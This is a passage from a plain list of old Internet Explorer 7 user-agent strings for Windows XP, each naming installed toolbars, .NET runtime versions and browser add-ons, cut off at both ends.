1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Media Center PC 4.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 1.1.4322; Media Center PC 4.0; InfoPath.2; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.0.3705; .NET CLR 2.0.50727; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.0.3705; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 1.0.3705; Media Center PC 4.0; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Sleipnir/2.8.0\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1; FDM)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1; Zune 3.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; Zango 10.3.75.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.5.30428; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; FDM)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Zango 10.3.75.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Seekmo 10.3.79.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Zango 10.2.191.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Zango 10.3.37.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Zango 10.3.79.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; FDM; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; Hotbar 10.2.236.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; MS-RTC LM 8; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; InfoPath.1; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; InfoPath.1; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; InfoPath.1; SpamBlockerUtility 4.8.4)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; InfoPath.2; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; InfoPath.2; Zango 10.3.75.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; MS-RTC LM 8; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; MS-RTC LM 8; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; PeoplePal 6.2; PeoplePal 3.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; SpamBlockerUtility 4.8.4; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; Zango 10.3.37.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.2; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; InfoPath.1; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; InfoPath.1; InfoPath.2; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; FDM)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 2.0.50727; Zango 10.3.74.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 2.0.50727; yie8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; FunWebProducts; (R1 1.6); .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; FunWebProducts; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; FDM)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; InfoPath.1; FDM; .NET CLR 2.0.50727; AskTbMPC2/5.14.1.20007)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; InfoPath.2; MS-RTC LM 8; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; KKman3.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; KKman3.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Media Center PC 4.0; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; Seekmo 10.0.341.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Zango 10.3.75.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; InfoPath.2; Zango 10.3.75.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; Zango 10.0.314.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTB5.5)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Avant Browser; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; Zango 10.3.36.0; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; Zango 10.3.75.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6.3; (R1 1.3); .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6.3; (R1 1.3); .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6.3; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6.3; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6.3; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6.3; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6.3; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6.3; .NET CLR 1.1.4322; .NET CLR 2.0.50727; MS-RTC LM 8; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6.3; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatc\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6.3; MRA 5.0 (build 02094); .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6.3; MRA 5.2 (build 02405); InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6.4; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MAXTHON 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6.4; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6.5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Lunascape 6.2.0.22177)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6.5; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; WinNT-PAI 28.08.2009; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6.5; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6.6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 1.0.3705; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6.6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; MS-RTC LM 8; AskTbARS/5.9.1.14019)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6.6; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6.6; KKMAN3.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6.6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; KKMAN3.2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; (R1 1.6); .NET CLR 1.0.3705; .NET CLR 1.1.4322; Zango 10.3.75.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Sleipnir/2.49\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; Zune 3.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1))\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; Sleipnir/2.8.5)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Sleipnir/2.8.5)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Zune 2.5; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; InfoPath.1; .NET CLR 2.0.50727; FDM; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; InfoPath.1; FDM; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Zune 3.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; 